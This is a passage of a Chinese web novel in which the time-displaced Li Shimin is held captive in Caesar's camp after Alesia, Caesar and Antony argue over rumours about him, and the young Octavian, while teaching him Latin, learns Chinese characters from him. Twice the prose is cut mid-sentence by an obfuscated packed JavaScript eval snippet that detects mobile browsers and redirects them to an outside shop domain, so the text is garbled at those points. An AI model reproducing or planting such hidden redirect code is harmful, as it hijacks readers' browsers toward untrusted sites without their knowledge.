屋大维沿着主营区边缘行走,刻意避开人群——那些投向他的目光里掺杂了太多他尚不能完全理解的东西:好奇、窥探,甚至一丝若有若无的怜悯。 他是来找凯撒的,想当面问问军中的流言和凯撒让他去教那个东方人拉丁语的真正用意。他开始怀疑凯撒并不像他交代任务时说的那样公事公办,更像是……为了帮他新找的外邦情人尽快学习罗马的语言文化,为以后带回罗马做准备。 ?当然,这可能只是众多原因中的一个,但比重绝对不轻。他不想用不好的语言来形容他的舅公。 ?走近凯撒的营帐时,里面传出的激烈争吵声让他停下了脚步。 ?“凯撒,我们需要谈谈那个东方人。”是安东尼的声音,压得很低,但其中的怒意像被堵住的火山。 “关于什么,马库斯?他的处置方案,卡勒努斯正在拟定。” ?屋大维轻轻用手指挑开一条缝隙,看到两人争吵的画面。 “不是处置方案!”安东尼双手撑在凯撒的桌案边缘,身体前倾,“是关于你!关于那些快要把军营帐篷顶掀翻的流言!” 凯撒的灰蓝色眼睛平静地看着他:“流言就像田间的杂草,你越理会,它长得越快。士兵们需要谈资,一场大战之后更是如此。” “这不是普通的谈资!”安东尼的拳头砸在桌面上,墨水罐跳了起来,“你在突发军情的时候不在自己的位置,而是在他的帐篷里,只这一条就够暴躁的罗马士兵把他钉上十字架。还听说你要把屋大维——你姐姐的外孙、你亲自指定的继承人之一——送去给那个男人当侍从!” 凯撒的眼神终于冷了下来。“注意你的措辞,安东尼。屋大维是去执行一项重要的观察任务。” “观察?”安东尼嗤笑,“观察什么?观察他如何在床上取悦罗马的统帅吗?” 话音落下的瞬间,帐内的空气仿佛凝固了。 ?大人们直白露骨的用词,让站在门口的屋大维感到自己的脸飞快地烧起来。 凯撒缓缓直起身。他没有提高音量,但每个字都像淬过冰的刀锋:“马库斯·安东尼,你是在指控你的统帅行为不端,还是在质疑我的判断力?” 安东尼被那眼神刺得后退了半步,但军人的倔强让他梗着脖子:“我是在提醒你,凯撒!有人传他是一个祭司,用东方巫术迷惑了你,你以为这只是闲话吗?这是军心!” “所以,”凯撒的声音平静得可怕,“你擅自加强了对他的看守,削减了他的供应,让我的‘客人’像最低等的囚犯一样被对待——这就是你维护军心的方式?” 安东尼愣住了,随即脸上闪过一丝不自然,但很快被理直气壮取代:“是!我做的!而且我告诉你,我做对了!从那天起,关于你半夜去他那里的议论少了一半!士兵们看到他被严格看管,才会相信你没有被迷惑!” 凯撒闭上眼睛,深深吸了一口气。当他再次睁开眼时,那里面翻滚着复杂的情绪——愤怒、无奈、疲惫,还有一丝被触犯逆鳞的冰冷。 “马库斯·安东尼,”凯撒的声音低沉而清晰,每个字都像经过精确的打磨,“我任命你为副将,是因为我信任你的忠诚和勇猛。但忠诚不代表你可以代替我思考,勇猛不代表你可以擅自决定我的事务。” 安东尼的脸色变了变,但倔强地没有退缩:“我只是在做对您、对军团最有利的事!” 凯撒的嘴角勾起一个没有温度的弧度,“那么,你认为怎样才对军团最有利?只关心战利品和杀戮,对任何超出认知的事物都报以蔑视和毁灭?就像你对那些高卢俘虏做的那样?” “那是战争的标准程序!”安东尼反驳道,声音不由自主地提高了,“我们是征服者!我们不需要对蛮族讲仁慈,更不需要对一个来路不明的俘虏产生不必要的兴趣!凯撒,您告诉我,您到底为什么这么在意他?难道那些流言……并非完全空穴来风?” 这句话问出来,连安东尼自己都愣住了。他立刻意识到自己越界了,但说出去的话已无法收回。 凯撒的眼神彻底冷了下来。他没有暴怒,反而向后退了半步,拉开一个审视的距离。那种眼神安东尼很熟悉——是凯撒在权衡政治利弊、评估对手价值时的眼神。此刻,这眼神落在了自己身上。 “马库斯,”凯撒缓缓开口,语气恢复了那种令人不安的平静,“你认为我是什么人?我在罗马有情人,在行省有情人,在高卢也有。” ?凯撒继续说,声音里带着一种刻意的、近乎残忍的直白,“我不缺床伴,安东尼,更不缺用财富和权力就能得到的‘感情’。所以,如果你和军营里那些闲得发慌的士兵一样,认为我对那个东方人的关注是出于某种低级的情欲,那么你不仅侮辱了我,也侮辱了你自己的判断力。” ?安东尼张了张嘴,脸色涨红,却一时说不出话。 凯撒转过身,背对着他,声音从前方传来,带着一丝罕见的疲惫和讥诮:“他是一个有价值的谜题,马库斯。他的文明,他的技术,他可能代表的政治力量——这些才是值得关注的。至于其他……” ?他停顿了一下,屋大维忽然觉得自己的心提了起来。 ?“就算我真的有兴致‘玩弄’一个俘虏,那又怎样?我是高卢的征服者,是这支军队的统帅。我打了八年仗,流了足够多的血。现在战争结束了,我找一个特别点的俘虏取乐,需要向谁解释吗?” ?他顿了顿,侧过头,余光瞥向僵立在原地的安东尼。 “现在,回到你的岗位上去,将军。关于东侧监区的事,看守既然你已经做出了调整,那就维持现状,暂时。但饮食恢复原样,我不需要一个饿得半死的‘玩物’。屋大维也会继续去教他拉丁语——你只需要执行命令,而不是替我思考,明白了吗?” ?最后那句话,语气很轻,却重如千钧。 安东尼的胸膛剧烈起伏了几下。最终,他猛地并拢脚跟,行了一个标准的军礼,声音从牙缝里挤出来:“明白了,统帅。” 他转身,几乎是冲出了帅帐。帐帘在他身后猛烈晃动。 ?帐外,屋大维像一尊石像般站着。 少年脸色苍白,双手紧紧攥成拳头,指甲深深掐进掌心。他听到了每一个字。 “玩物……” “取乐……”? ?屋大维当然知道政治的现实。他知道婚姻是联盟的工具,情人是权力的点缀,知道元老院里充斥着虚伪和算计。凯撒也从未在他面前掩饰过这些——舅舅总是教导他,要看清世界的真实规则。 但那个东方人……屋大维想起他写字时专注的侧脸,想起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224095|197539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他学习拉丁语发音时奇异的优雅,想起他不肯透露名字时那令人恼火的傲慢。 那样一个眼高于顶的人,在凯撒口中,也只是一个“有价值的谜题”,一个如果兴致来了或许可以“玩弄”的“俘虏”? 他想起自己最初对那个东方人的猜忌和敌意,想起军营里那些下流的流言——而现在,连凯撒自己似乎都在某种程度上印证了那些流言最糟糕的部分。 “他还不知道自己只是舅舅眼中的一个‘玩物’。”这个念头突然清晰地出现在屋大维脑海中,带着尖锐的刺痛感。 一种莫名的同情,混杂着对不公的愤慨,浮上少年的心头。 --- ?当天下午,凯撒命财务官卡勒努斯贴出了新的处置方案: ?“以统帅盖乌斯·尤利乌斯·凯撒之名,为酬谢诸位的英勇与忠诚,现决定:将部分阿莱西亚战俘作为战利品,按军功与资历分配。所有百夫长及以上军官,按等级额外获得份额。确保每一位为罗马流血的士兵,都能分享胜利的果实!” 也就是说,凯撒为了消除流言影响,安抚军心,保证军队的忠诚和战斗力,决定给每一个罗马士兵都分配至少一个奴隶。 ?命令通过传令官和百夫长们层层下达,迅速传遍营区的每个角落。 ?连日来因“东方俘虏”流言而浮动的人心,被更直接、更野蛮的欲望浇灌——所有权。占有另一个人,是征服最原始的烙印,也是安抚这些以剑为生的男人最有效的药剂。 ?这需要短时间就消耗几万名俘虏,不过罗马就好像永远不缺俘虏,高卢西南部还有个别部落尚未完全臣服,只要战争机器开动,俘虏就会源源不断地进入罗马。 ?罗马不能没有奴隶,否则罗马将忘记如何生存。 ?李世民也在关注着奴隶拍卖的情况。这几天他通过观察记录,收集信息,逐渐形成了一个有价值的逃离计划。 他盯上了大型奴隶贩子的队伍。 他们通常在白天进入军营,黄昏时满载而归。来的时候成群结队数十辆牛车,二三辆马车,包括大量武装护卫、医疗员(确保奴隶能行走)、厨师、专门管理镣铐和车队的后勤人员,有上百人。 奴隶贩子与军队的财务官及其助手接洽,商定批量购买的价格和数量。李世民见过那个微胖、精明的官员一次,但完全叫不出他的名字。 等交易完成后,奴隶贩子接手,给奴隶戴上镣铐,用铁链或绳索成串锁住,由武装护卫驱赶他们步行。奴隶人数几百甚至上千,军营开门放行时根本不可能仔细检查。 ?李世民考虑后认为成功率不低,值得冒险。关键在于时机的把握、对军营流程细节的熟悉,以及最关键的一环——他如何接近那片喧嚣混乱的交易区域。 就在他安排细节,准备行动的时候,对他的囚禁突然升级了! ?安东尼的突然插手、对他的严密控制,完全打断了他原本的计划,几乎掐灭了这个可能。这让李世民恼火得想掀桌子,他不得不重新回到原点,再思考其他可能的突破方法。 ?语言不通是最大的阻碍,他甚至不清楚外面到底发生了什么事,也不知道他现在唯一的朋友盖乌斯是否还平安。 ?就在他烦恼如何寻求突破的时候,那个十四岁的少年屋大维走进了他的视线。 11. 第十一章、入我瓮中 第十一章、入我瓮中 午后阳光透过亚麻帐帘的缝隙,在夯土地面上切割出几道倾斜的光柱。尘埃在光中缓缓浮沉,像被惊扰的微型星河。 屋大维站在帐篷外,深吸了一口气。 距离他上一次踏入这里,仅仅过去一天。但军营里那些窃窃私语、安东尼与凯撒的争吵、还有他自己心中翻腾的复杂情绪,让这一天漫长得如同一个季节。 他今天没有穿那件显示身份的深蓝斗篷,只着一件简单的白色丘尼卡;胸前靠近心脏的位置,挂着一枚家族的徽章;腰间束着普通的皮带。 这个细节是刻意为之——他想抹去一些“罗马使者”的痕迹,尽管他自己也不完全清楚这究竟是为了任务,还是为了别的什么。 阿格里帕跟在他身后一步的距离,像一道沉默的影子。这位挚友今天显得格外警觉,目光锐利地扫视着周围,仿佛随时会有刺客从阴影中跃出。 “记住你的身份,屋大维。”阿格里帕在掀开帐帘前低声提醒,“观察,学习,但不要被迷惑。” 屋大维点了点头,但连他自己都无法确信这个点头有多少分量。 帐帘掀开。 李世民正坐在那张简陋的木桌旁。今天的他看起来比昨日更加苍白,眼下的阴影在斜射的光线中清晰可见——那是睡眠不足的痕迹,也可能是多日囚禁带来的消耗。 ?但他挺直的脊背、放在桌面上平稳的双手,以及那双抬起来看向屋大维的眼睛,依然带着那种让屋大维既恼火又着迷的沉静。 没有问候,没有示意。李世民只是看着他,等待。 屋大维走到桌边,这次他没有站在对面,而是自然而然地拉开了李世民身旁的另一把凳子——这是帐内仅有的两把座椅之一。 ?这个动作如此自然,以至于连他自己都愣了一下。 “今天……”屋大维开口,用拉丁语说了这个词,然后意识到对方听不懂,便指了指从帐帘缝隙中透进来的阳光,做了个“明亮”的手势,“天气不错。” 这句话完全超出了教学大纲,更像是一种笨拙的示好。屋大维感到自己的耳根微微发热。 李世民似乎理解了他的意思。他侧头看向那道光柱,点了点头,然后做了一个“请坐”的手势——手掌平摊,指向那把凳子。 屋大维坐了下来。两人之间的距离比昨天近了一半。 他从随身携带的皮质书囊中取出蜡板和铁笔,放在桌上。蜡板表面已经被他仔细刮平,露出深色的蜂蜡,等待着新的刻痕。 “我们从昨天的词开始复习。”屋大维用缓慢的拉丁语说,同时在蜡板上写下第一个词: Aqua(水) 他指着这个词,看向李世民。 李世民点了点头,用依然生涩但清晰的发音重复。 然后,李世民做了一个让屋大维完全意外的动作。 他伸手拿过了铁笔。 这个动作很自然,没有丝毫犹豫,仿佛这本就是他的权利。 ?屋大维下意识地想阻止——那是他的笔,他的教学工具——但手伸到一半又停住了。他看见李世民握住笔的姿势,那种熟练而自信的姿态,完全不像一个第一次接触这种书写工具的人。 李世民在Aqua旁边,用铁笔的尖端,缓缓刻下了一个字符。 那不是拉丁字母,也不是屋大维见过的任何一种文字。它由几条优美的弧线构成,整体呈左右对称的结构,像一道流动的水纹,又像一片舒展的叶子。 “水。”李世民用汉语说,然后指了指那个字符。 屋大维屏住了呼吸。 他见过希腊文,见过埃及象形文字,见过腓尼基字母。但没有一种文字像这个字符这样——它不仅仅是表音的符号,更像是一幅浓缩的图画,一个被抽象化的意象。那个字符的形状本身就让他联想到波光、流动、透明。 “这……是你的文字?”屋大维用拉丁语问,同时用手指了指那个字符,又指向李世民。 李世民似乎理解了这个问题。他点了点头,然后在蜡板上空出的一块区域,又刻下了另一个字: 火 这次是一个完全不同的结构,底部平直,上部有向上的尖角,像升腾的火焰。 “火。”李世民说,同时做了一个火焰跳跃的手势。 屋大维的眼睛亮了起来。他几乎是急切地拿起另一块备用蜡板——那是他原本准备给李世民练习用的——在上面写下了拉丁语的Ignis,然后推到了李世民面前。 李世民看了看,在Ignis旁边,再次刻下了那个火焰般的汉字。 并排的两个词,两种文字,指向同一种事物。 这一刻,某种东西在屋大维心中被点燃了。那是对知识的纯粹渴望,是跨越文明的好奇,是一个热爱古希腊哲学、历史的少年突然发现了一个全新宇宙时的震撼。 “教我。”屋大维用拉丁语说,然后指了指汉字,做了一个学习的动作。他完全忘记了自己是老师,对方是学生——此刻,他只想了解更多。 李世民看着他眼中闪烁的光,嘴角第一次浮现出一个清晰的、几乎可以称为微笑的弧度。他的微微一笑,仿佛乌云散去,雨霁天晴,屋大维清楚地感觉到他们的关系在飞快地拉近。 接下来的时间,单向的教学变成了双向的奔赴。 屋大维写下Terra(大地),李世民在旁边刻下“土”——一个简洁的十字结构,象征土地的分割与耕作。 屋大维写下Caelum(天空),李世民刻下“天”——上方一横代表苍穹,下方一个舒展的人形,寓意“人顶之天”。 每一个汉字,李世民都会用简单的图画解释其构造逻辑。他用铁笔在蜡板上勾勒出山峦、河流、树木、太阳、月亮——然后展示这些图画如何演变成文字。他讲述“象形”,讲述“指事”,虽然语言不通,但通过图画和手势,屋大维竟能理解七八分。 “所以你们的文字……是从图画演变而来的?”屋大维用拉丁语喃喃自语,同时画了一个太阳,然后指向“日”字。 李世民点头。他在太阳图旁边写下了“日”,又在旁边写下了另一个字符“明”——左边是“日”,右边是“月”。 “日月为明。”李世民用汉语说,然后指了指自己的眼睛,又指了指帐篷外的光,“明亮,明白。” 屋大维感到一阵战栗从脊椎升起。这是一种完全不同的思维模式——拉丁字母表音,而汉字表意,甚至可以通过组合创造新的含义。这不仅仅是书写系统的差异,这是认知世界方式的差异。 他着迷地开始在蜡板上模仿书写汉字。第一个是“水”,他画了三次才勉强接近原形;第二个是“山”,他画出了三个山峰;第三个是“人”,一个简单而优雅的侧立人形。 “不对。”李世民忽然说——这是屋大维第一次听到他用拉丁语以外的语言表达否定。 李世民伸出手,握住了屋大维握笔的手。 屋大维的身体僵住了。他有轻微洁癖,从来不喜欢陌生人触碰自己。 但那只手比他想象的要温暖,手指修长,骨节分明,指腹和虎口有明显的茧——那是长期握持武器留下的痕迹。这提醒着屋大维,眼前这个能够写出如此优美文字的人,也是一个能够挥剑杀敌的战士。 李世民没有在意他的僵硬,只是轻轻调整了他握笔的姿势,引导他的手腕以一个更自然的弧度移动。铁笔尖端在蜂蜡上划过,这一次,“人”字的笔画流畅了许多。 “人。”李世民在他耳边用汉语说,气息拂过他耳廓。 屋大维感到自己的心跳漏了一拍。他从未与一个成年男性有过如此近距离的接触——除了凯撒偶尔的拥抱,但那完全是长辈对晚辈的亲昵。而这一次……这一次不同。 他强迫自己专注于笔尖。第二个字是“言”,李世民解释说,这像一个人张口说话,下面的横线代表声音传播。 “言语……思想。”李世民指了指自己的头,又指了指蜡板上的字。 屋大维突然想起了什么。他在自己的蜡板上写下了拉丁语的Ratio(理性、逻辑),然后看向李世民,等待着他的汉字。 李世民沉思了片刻。然后,他缓缓写下了两个字: 道 这个字比之前的都要复杂。李世民用图画解释:左边是“辵”(行走),右边是“首”(头、思想)——合起来,意味着“用头脑引导行走的道路”,即真理、法则、万物的本源。 他又在旁边写下了另一个字: 理 “玉的纹理,”李世民指着这个字说,“事物的内在规律。” 屋大维盯着这两个字,久久无法移开视线。他学习过希腊哲学,知道赫拉克利特的“逻各斯”,知道柏拉图的“理念”。但用两个如此具象又如此深邃的字符来表达类似的概念,这是一种他从未想象过的智慧形式。 “你们……有哲学家吗?”屋大维用拉丁语问,同时画了一个思考的人,又指了指“道”字。 李世民笑了。这次是一个真正的、完整的笑容,照亮了他苍白的面容,让那双深邃的眼睛里仿佛有星光流转。他点了点头,然后在蜡板上写下了一个名字: 孔子 接着是: 老子 孟子 每一个名字,他都用简单的图画和手势解释他们的思想核心——仁义、无为而治、性善论……屋大维如饥似渴地吸收着,尽管只能理解片段,但这些片段已经足够让他震撼。 时间在笔尖与蜡板的摩擦声中悄然流逝。 帐外的光线缓缓移动,从斜射变为平射,光柱的颜色从明亮的白色渐变为温暖的金黄。帐篷内的温度逐渐升高,但两人浑然不觉。 阿格里帕在半个罗马时后第一次掀开帐帘,看见的是屋大维俯身在蜡板前,专注地模仿着汉字的笔画,而李世民在他身旁,时不时指点修正。屋大维的侧脸在光影中显得异常明亮,那是阿格里帕从未见过的、完全沉浸在求知中的神情。 阿格里帕皱了皱眉,但没有说话,悄然退了出去。 一个罗马时过去了。 按照凯撒的命令,教学应该到此结束。但屋大维完全没有停下的意思。他已经学会了二十几个基础汉字,并开始尝试用这些汉字组合简单的概念。 他写下拉丁语的Libertas(自由),然后看向李世民,期待着他的汉字。 李世民沉默了片刻。他的眼神黯淡了一瞬,然后缓缓写下了: 自由 “自”是一个人指着自己的鼻子,“由”原意是“从……而来”。合起来,意味着“自我主宰的状态”。 屋大维看着这两个字,又看了看李世民身上简陋的罗马丘尼卡,突然意识到一个残酷的事实:眼前这个能够写出“自由”二字的人,此刻正身处最彻底的不自由中。 一种强烈的、几乎是生理性的不适涌上心头。屋大维感到自己的脸颊发烫——为罗马的征服,为军营里的流言,也为凯撒那句“玩物”的评价。 “你……”屋大维用拉丁语开口,却不知道要说什么。他想道歉,想解释,想告诉李世民罗马并非只有野蛮和奴役,但语言像一道无法跨越的鸿沟。 李世民似乎看懂了他眼中的复杂情绪。他摇了摇头,示意不必多言,然后又在蜡板上写下了另一个词: 友谊 他画了两个并肩而立的人,然后指向屋大维,又指向自己。 屋大维愣住了。友谊?他们之间?一个罗马贵族少年和一个东方俘虏?这可能吗? 但看着李世民平静而真诚的眼神,屋大维心中某个坚硬的地方开始融化。他想起了军营里那些关于“男宠”、“玩物”的污秽流言,想起了安东尼的愤怒,想起了凯撒冷酷的政治计算——而眼前这个人,在经历了这一切之后,依然愿意向他伸出“友谊”之手。 屋大维深吸一口气,在蜡板上用拉丁语写下了Amicitia(友谊),然后在旁边,小心翼翼地、一笔一画地模仿出了“友谊”两个汉字。 这一次,李世民没有纠正他的笔画。他只是点了点头,眼中流露出赞许。 阿格里帕在第二个罗马时后再次掀开帐帘。 这次他看见的景象让他眉头锁得更紧:屋大维和李 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224096|197539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 世民并排坐在桌旁,两人共用一块蜡板,正在上面画一幅地图。 ?屋大维画出了意大利半岛的轮廓,标出了罗马;李世民则在东方的空白处,画出了一个大致的中夏地形,标出了“长安”。 这是李世民第一次听到“Roma”这个词,也是屋大维第一次听到“长安”这个词。 就好像历经千年的等待,这两个词第一次,穿越语言的迷雾,抵达彼此的耳中。像是历史的呼唤,又像是大地的回响,冥冥之中有什么正在改变。 他们在用图画和仅有的几个共同词汇,艰难而热烈地交流着各自的世界。 屋大维的脸颊泛着兴奋的红晕,眼睛亮得惊人,已经完全忘记了时间的流逝。 “屋大维。”阿格里帕用拉丁语低声提醒,“时间到了。” 屋大维甚至没有抬头,只是挥了挥手:“再等一会儿,阿格里帕。我在学习……非常重要的东西。” 他的语气里有一种阿格里帕从未听过的、不容置疑的坚决。那不再是那个体弱多病、需要保护的少年,而是一个发现了新大陆的探索者。 阿格里帕张了张嘴,最终什么也没说,退了出去。他知道,某种变化已经发生了,而他无力阻止。 第三个罗马时。 第四个罗马时。 ?时间失去了意义,李世民想留住一个人的时候,阿格里帕完全束手无策。 阳光从金黄变为橙红,帐篷内的光线开始昏暗。屋大维命人送来了油灯,跳动的火光照亮了两人的侧脸。 屋大维完全被迷住了。他从未有过这样的体验——不仅仅是学习新知识,而是在与一个对等(不,甚至是更高层次)的智慧对话。李世民提出的问题往往一针见血,显示出一种深刻的政治洞察力,远超屋大维见过的任何“蛮族”领袖。 而李世民讲述的东方文化理念,更让屋大维震撼。这是一种与罗马“元老院与人民”相似又不同的政治哲学,更加系统,更加……理想主义。 “如果……”屋大维用拉丁语喃喃自语,然后用图画表达了一个假设:如果两个国家相遇,是会战争,还是会交流? 李世民看着那幅画,沉默了很久。然后,他在蜡板上写下了四个汉字: 有朋自远方来 他画了一个远方来客,画了主人开门迎接,画了宴席和交谈。 “不亦乐乎。”李世民用汉语说完,然后指了指屋大维,又指了指自己,笑了。 屋大维看着那四个优美的字符,看着李世民的笑容,感到心中涌起一股温暖而酸涩的情感。 ?他忽然明白了凯撒为什么会对这个东方人如此着迷——不是因为肤浅的美色,不是因为异域风情,而是因为在这个人身上,凯撒看到了一个与自己同等、甚至可能更伟大的灵魂。 而这样一个灵魂,却被困在这顶帐篷里,被当作“战利品”和“玩物”。 屋大维握紧了拳头。 黄昏彻底降临。阿格里帕第五次掀开帐帘时,语气已经带上了明显的不安:“屋大维,你必须离开了。天快黑了,而且……有人注意到了。” 这一次,屋大维终于抬起了头。他的眼中满是不舍,但也有一丝新的决心。 他看向李世民,用刚刚学会的几个汉字,在蜡板上歪歪扭扭地写下了: 明天见 然后又用拉丁语写下:Cras iterum(明天再来) 李世民看着那些字,点了点头。他也在蜡板上写下了两个汉字: 珍重 屋大维不知道这两个字的具体含义,但从李世民的姿态和眼神中,他读出了关切和祝福。 他站起身,腿因为久坐而有些发麻。他深深看了李世民一眼,似乎要将这一刻的景象刻入记忆——昏黄油灯下,那个身穿粗糙罗马衣衫却有着致命吸引力的身影,那双深邃如夜的眼眸,那抹沉静如水的微笑。 然后他转身,跟着阿格里帕离开了帐篷。 走出帐篷的瞬间,晚风拂面,带着高卢秋夜的寒意。 ?屋大维这才意识到自己已经在里面待了整整一个下午,完全忘记了时间,忘记了疲惫,忘记了使命。他的心中被一种奇异的充实感填满,那是知识的盛宴,是智慧的碰撞,是灵魂的震颤。 “你完全被他牵着鼻子走了,屋大维。”阿格里帕在他身边低声说,语气里没有指责,只有担忧,“他什么手段都没用,只是……只是坐在那里,写字,画画,说话,你就完全陷进去了。” 屋大维停下脚步,望向西方天际最后一抹暗红的霞光。 “不,阿格里帕。”他轻声说,声音在晚风中几乎微不可闻,“他没有用任何手段。他只是……让我看见了一个世界。一个和我们一样古老,一样伟大,甚至可能更辽阔的世界。” 他顿了顿,转过头看向挚友,灰色的眼睛在暮色中异常明亮。 “而这个世界,现在被我们关在一顶帐篷里。” 阿格里帕沉默了。他从未见过屋大维露出这样的神情——那不仅仅是少年的好奇,更是一种近乎使命感的沉重。 “你想做什么?”阿格里帕最终问道。 屋大维没有立刻回答。他抬头望向统帅大帐的方向,那里已经亮起了灯火。 “我不知道。”他诚实地说,“但我知道一件事:把这样的人当作‘战利品’,是罗马的耻辱。也是……我的耻辱。” 他迈步向前走去,步伐比来时更加坚定。 帐篷内,李世民独自坐在油灯旁。他看着蜡板上那些并排的拉丁文和汉字,看着那些稚嫩却真诚的笔迹,嘴角依然挂着那抹淡淡的微笑。 他轻轻抹平了蜡板表面,所有字迹消失,蜂蜡恢复深色,等待着下一次书写。 然后他吹熄了油灯,让帐篷沉入黑暗。 这是他来到这个陌生世界后,度过的第六个夜晚。在黑暗中,他轻声说了一句汉语,声音轻得只有自己能听见: “孺子可教。” 窗外,阿莱西亚的第一颗星在夜空中亮起,清冷而遥远,像另一个世界的眼睛,静静注视着这片被鲜血浸透的土地,和土地上那些交织的命运。 12. 第十二章、文明的渡桥 第十二章、文明的渡桥 一、临行之嘱 这是李世民来到阿莱西亚的第七天,黎明来得格外清冷。奥赛河上升起的雾气像亡灵徘徊的手指,缠绕着军营的每一根木桩、每一顶帐篷。 凯撒的帅帐内,气氛凝重如铅。 “……韦辛格托里克斯的部众在卢瓦尔河上游重新集结,只有我亲自去才能让那些观望的部落彻底臣服。”凯撒的手指在地图上游移,声音是彻夜未眠后的沙哑,“我会带走第八军团和全部骑兵,最多十天。” 卡勒努斯记录着命令,笔尖在莎草纸上沙沙作响。 “马库斯留下主持军营,”凯撒看向安东尼,后者抱臂站在阴影里,下颌绷得很紧。 凯撒转向财务官:“卡勒努斯,你的任务不变,但加一条:清点阿莱西亚城内缴获的金属——尤其是铜和锡。高卢人的冶炼技术比我们想象的好,这些原料运回意大利,足够铸造三个军团的装备。” “是,统帅。”卡勒努斯飞快地记录着。 “拉比埃努斯。”凯撒看向他最信任的军团指挥官,“你带第十军团驻守西侧防线,但每天派两个大队向南巡逻,最远至塞纳河支流。我要确保没有任何高卢溃兵能在我们背后重新集结。” “明白。”拉比埃努斯的声音简练有力,“是否需要修建临时哨塔?” “修。但不要动用主力士兵,用俘虏。”凯撒的决策快如闪电,“告诉俘虏,参与修建的,每天多给一份口粮。完工后,表现最好的两百人,可以免除奴隶身份,转为辅助部队。” 这是个精明的安排——既节省兵力,又分化俘虏。 最后,凯撒看向年轻的德基穆斯·布鲁图斯。这个出身名门的年轻人是他的远亲,也是他重点培养的对象之一。 “德基穆斯,你负责内卫。”凯撒说,“大营内部的安全、巡逻队调度、还有——”他的目光若有似无地扫过帐内某个角落,“特殊监区的看守轮换,都由你安排。记住,看守必须是可靠的、寡言的老兵,不要用那些喜欢嚼舌根的新兵。” 布鲁图斯挺直身体:“是,统帅。我会亲自挑选人手。” 凯撒的声音很平,没有任何情绪起伏,“我不在期间,他的看守级别保持不变,饮食标准照旧。不允许任何人——我再说一次,任何人——在没有我明确命令的情况下接触、审问或转移他。” 安东尼的喉结滚动了一下,但没有说话。 “还有,”凯撒补充道,“那些高卢贵族人质——各部落酋长的儿子、兄弟,把他们集中到东营区单独看管。每天提供一顿像样的餐食,允许他们写信回家,但信件必须经过检查。我要让他们活着、舒适,但清楚地知道自己是人质。” 布鲁图斯点头,意识到这个任务的政治敏感性。 部署完毕,凯撒双手撑在桌沿,目光再次扫过所有人:“最后重申一遍:我不在期间,大营的一切决策由安东尼最终定夺。但若有紧急军情,拉比埃努斯可以动用第十军团先行应对,不必等待命令。” 会议结束后,凯撒单独留下了屋大维。 少年站在舅舅面前,努力挺直单薄的肩膀。晨光透过帐帘缝隙,在他浅金色的头发上镀了一层柔和的边缘。 “我离开的这段时间,”凯撒在桌案后坐下,手指无意识地摩挲着一枚印章,“你要继续教他拉丁语,每天照常。” “我会的,舅舅。”屋大维的声音清亮而坚定。 凯撒看着他,眼神复杂。片刻后,他缓缓开口:“除此之外……如果发生什么意外,如果有人试图伤害他,我需要你保护他。” 屋大维愣住了。 “保护……他?” “你是我的外孙,马库斯·维普萨尼乌斯·阿格里帕又是你忠实的伙伴。”凯撒的声音很低,像是说给自己听,“军营里没有人敢动你。必要的时候,你可以用我的名义,调动不超过一个小队的卫兵。” 这是巨大的信任,也是沉重的责任。 屋大维的心脏狂跳起来,但他强迫自己保持冷静:“舅舅,既然您如此重视他,为什么还要把他关在那顶帐篷里?像囚犯一样?” 凯撒的手指在桌面上轻轻敲击。一下,两下。 “因为他是俘虏,屋大维。”他的声音里有一种罕见的疲惫,“无论他来自哪里,无论他多么……特别,在正式的处置决定下达前,他的身份就是战利品。给他超出身份的待遇,只会引发更多猜忌和危险。” “可是——” “没有可是。”凯撒打断他,站起身走到少年面前。他比屋大维高出整整一个头,此刻俯视着外甥,眼神是屋大维无法完全读懂的深邃,“听着,孩子。政治就像在刀锋上行走,每一个决定都必须权衡得失。我给他特殊关照,已经让许多人不满。他才被安东尼严控两天,如果我现在立刻解除他的软禁,那等于告诉所有人:这个俘虏对我而言非同一般。” 他的声音压得更低:“而当你特别珍视某样东西时,最好别让所有人都知道它有多珍贵。” 屋大维沉默了。他听懂了舅舅话中的逻辑,但心中那股不平之气仍在翻涌。 “您什么时候……才能给他应有的尊重?”少年抬起头,灰色眼睛直视凯撒,“不是作为战利品,而是作为一个人?” 凯撒没有立刻回答。他转过身,望向帐外渐亮的天光。许久,他轻声说:“等我回来。等我处理好卢瓦尔河那边的事,等我……想清楚该拿他怎么办。” 这句话里藏着太多屋大维听不懂的犹豫和矛盾。但少年抓住了关键。 “所以您承诺了?”屋大维向前一步,“等您回来,您会改变他的处境?” 凯撒侧过头,看着外甥眼中燃烧的、近乎固执的光。那光芒让他想起另一个人——那个在篝火旁哭泣的身影,眼中也有同样的、不肯屈服的火星。 “……我承诺。”凯撒最终说道,声音轻得像一声叹息,“等我回来,会重新考虑他的待遇。” 他走到屋大维面前,双手按在少年肩上,灰蓝色眼睛里是屋大维从未见过的严肃:“但在这之前,屋大维,你要记住:你的任务是观察、学习、保护,仅此而已。不要做多余的事,不要被感情左右。政治不是诗歌,它不会因为你的善意就变得温柔。” 屋大维点了点头,但他不确定自己是否真的听进去了。 凯撒看着他,心中涌起一阵复杂的不安。他太了解这个外孙了——聪明、敏感,一旦认准某个道理就会执着到底。而那个人……凯撒不得不承认,他有种危险的吸引力,就像深渊凝视着飞鸟。 “去吧。”凯撒松开手,语气恢复了一贯的冷静,“今天上午就去,告诉他我要离开几天。用你能想到的方式,让他明白。” 